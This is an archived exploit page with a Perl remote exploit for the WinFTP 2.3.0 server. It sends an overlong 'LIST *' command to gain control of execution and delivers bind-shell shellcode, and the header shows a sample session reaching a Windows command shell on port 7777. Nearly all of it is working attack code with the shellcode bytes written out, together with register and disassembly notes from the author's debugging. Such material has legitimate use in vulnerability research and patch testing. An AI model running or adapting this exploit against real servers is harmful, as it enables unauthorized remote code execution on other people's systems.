Home / os / win10

winftp-overflow.txt

Posted on 27 January 2009

#!/usr/bin/perl # # WinFTP 2.3.0 post-auth remote exploit. (www.wftpserver.com) # ################################################################################ # # # root@halcyon:~/Exploits/WinFTP# perl winftp-remote.pl # # # # Usage: winftp-remote.pl <host> <username> <password> <target> # # # # Target: 1 -> Win2k # # Target: 2 -> WinXP sp2/3 (DoS only) # # # # root@halcyon:~/Exploits/WinFTP# perl winftp-remote.pl 10.0.0.5 user1 pass1 1 # # # # [=] Connected. # # [=] Sending user user1 # # [=] Sending pass pass1 # # [=] Sending payload... # # [=] Done. You should have a command shell on port 7777. # # # # root@halcyon:~/Exploits/WinFTP# nc 10.0.0.5 7777 # # Microsoft Windows 2000 [Version 5.00.2195] # # (C) Copyright 1985-1999 Microsoft Corp. # # # # C:Program FilesWinFTP Server> # # # ################################################################################ # # Quick description of the exploit: # # There is a post-auth bug in WFTPSRV.exe (2.3.0), in the handling of the LIST # command. This appears to be different from the previous vuln found in # the handling of the NLIST command. Providing the server with # "LIST *<long string here>" results in an arbitrary memory overwrite # vulnerability. Note that simply giving LIST a long string won't trigger # the vuln. At least in my testing, the asterisk was necessary to force # WFTPSRV.exe to process the long string, which clobbers various stored # addresses, providing an opportunity for an arbitrary DWORD overwrite. # So exploitation goes like this: # # format string vuln -> overflow -> arbitrary memory overwrite -> EIP control # # On Win2k, the error is: # "The instruction at 0x77fc9906 referenced memory at # 0x88776655. The memory could not be "written". # # Which is what we want to see in order to control an arbitrary DWORD. # At this point our registers look like: # # EAX 010922E0 # ECX 0275FC14 # EDX 88776655 # EBX 00000028 # ESP 0275F688 # EBP 0275F81C # ESI 00F90000 # EDI 00F90378 # EIP 77FC9906 ntdll.77FC9906 # # Instructions look like: # # 77FC98F4 8B48 08 MOV ECX,DWORD PTR DS:[EAX+8] # 77FC98F7 898D 38FFFFFF MOV DWORD PTR SS:[EBP-C8],ECX # 77FC98FD 8B50 0C MOV EDX,DWORD PTR DS:[EAX+C] # 77FC9900 8995 34FFFFFF MOV DWORD PTR SS:[EBP-CC],EDX # 77FC9906 890A MOV DWORD PTR DS:[EDX],ECX # 77FC9908 8951 04 MOV DWORD PTR DS:[ECX+4],EDX # # Under normal conditions EDX and ECX contain pointers located # in the data segment. However, after exploitation we control # EDX (where to write), and ECX (what to write). From here, # we load EDX with (almost) any old return address on our stack, # and ECX with a pointer to our shellcode. # # Note: This is *not* a predictable vuln. I noticed even changing # the filename of the binary causes the offsets to change. # Please experiment on your own. Let me know if you manage to # get it working under WinXP SP2. # joewalko@gmail.com use IO::Socket; if (@ARGV < 2) { print " Usage: $0 <host> <username> <password> <target> "; print "Target: 1 -> Win2k "; print "Target: 2 -> WinXP sp2/3 (DoS only) "; exit; }; $host = $ARGV[0]; $username = $ARGV[1]; $password = $ARGV[2]; $port = 21; $list = "x4cx49x53x54x20x2a"; $padding = "x41" x 272; $sock = new IO::Socket::INET ( PeerAddr=> "$host", PeerPort=> "$port", Proto => 'tcp' ); die "Connection failed: $! " unless $sock; $user_string = "user $username "; $pass_string = "pass $password "; $port_string = "PORT 10,0,0,1,154,119 "; # Source host doesn't matter. $address2k = "x74xf8x74x02". # <- This needs to contain any # readable address, or we # immediately cause an exception. "x14xfcx75x02". # <- This will become EIP. It points # to our shellcode. "x74xf8x75x02"; # <- This specifies what DWORD to overwrite. # YMMV here. I picked an arbitrary # return address on the stack located # near where ESP was during # the exception. On my system this # is: # # 0275F874 73D34154 RETURN to MFC42.73D34154 $nopsled = "x90" x 2228; # Metasploit win32_bind, EXITFUNC=process LPORT=7777 $shellcode = "x2bxc9x83xe9xb0xd9xeexd9x74x24xf4x5bx81x73x13x10". "x92xe9xd3x83xebxfcxe2xf4xecxf8x02x9exf8x6bx16x2c". "xefxf2x62xbfx34xb6x62x96x2cx19x95xd6x68x93x06x58". "x5fx8ax62x8cx30x93x02x9ax9bxa6x62xd2xfexa3x29x4a". "xbcx16x29xa7x17x53x23xdex11x50x02x27x2bxc6xcdxfb". "x65x77x62x8cx34x93x02xb5x9bx9exa2x58x4fx8exe8x38". "x13xbex62x5ax7cxb6xf5xb2xd3xa3x32xb7x9bxd1xd9x58". "x50x9ex62xa3x0cx3fx62x93x18xccx81x5dx5ex9cx05x83". "xefx44x8fx80x76xfaxdaxe1x78xe5x9axe1x4fxc6x16x03". "x78x59x04x2fx2bxc2x16x05x4fx1bx0cxb5x91x7fxe1xd1". "x45xf8xebx2cxc0xfax30xdaxe5x3fxbex2cxc6xc1xbax80". "x43xc1xaax80x53xc1x16x03x76xfaxf7xb2x76xc1x60x32". "x85xfax4dxc9x60x55xbex2cxc6xf8xf9x82x45x6dx39xbb". "xb4x3fxc7x3ax47x6dx3fx80x45x6dx39xbbxf5xdbx6fx9a". "x47x6dx3fx83x44xc6xbcx2cxc0x01x81x34x69x54x90x84". "xefx44xbcx2cxc0xf4x83xb7x76xfax8axbex99x77x83x83". "x49xbbx25x5axf7xf8xadx5axf2xa3x29x20xbax6cxabxfe". "xeexd0xc5x40x9dxe8xd1x78xbbx39x81xa1xeex21xffx2c". "x65xd6x16x05x4bxc5xbbx82x41xc3x83xd2x41xc3xbcx82". "xefx42x81x7exc9x97x27x80xefx44x83x2cxefxa5x16x03". "x9bxc5x15x50xd4xf6x16x05x42x6dx39xbbxe0x18xedx8c". "x43x6dx3fx2cxc0x92xe9xd3x0dx0a"; if ($ARGV[3] == '1') { $payload = $list.$padding.$address2k.$nopsled.$shellcode; } elsif ($ARGV[3] == '2') { $payload = $list.$padding.$address2k.$nopsled.$shellcode; } else { $payload = $list.$padding.$address2k.$nopsled.$shellcode; } print " [=] Connected. "; sleep 1; print "[=] Sending $user_string"; $sock->send($user_string); sleep 1; print "[=] Sending $pass_string"; $sock->send($pass_string); sleep 1; $sock->send($port_string); sleep 1; print "[=] Sending payload... "; $sock->send($payload); sleep 1; if ($ARGV[3] == '1') { print "[=] Done. You should have a command shell on port 7777. "; } elsif ($ARGV[3] == '2') { print "[=] Done. WinFTP should be crashed on the remote host. "; } else { print "[=] Done. "; }

 

TOP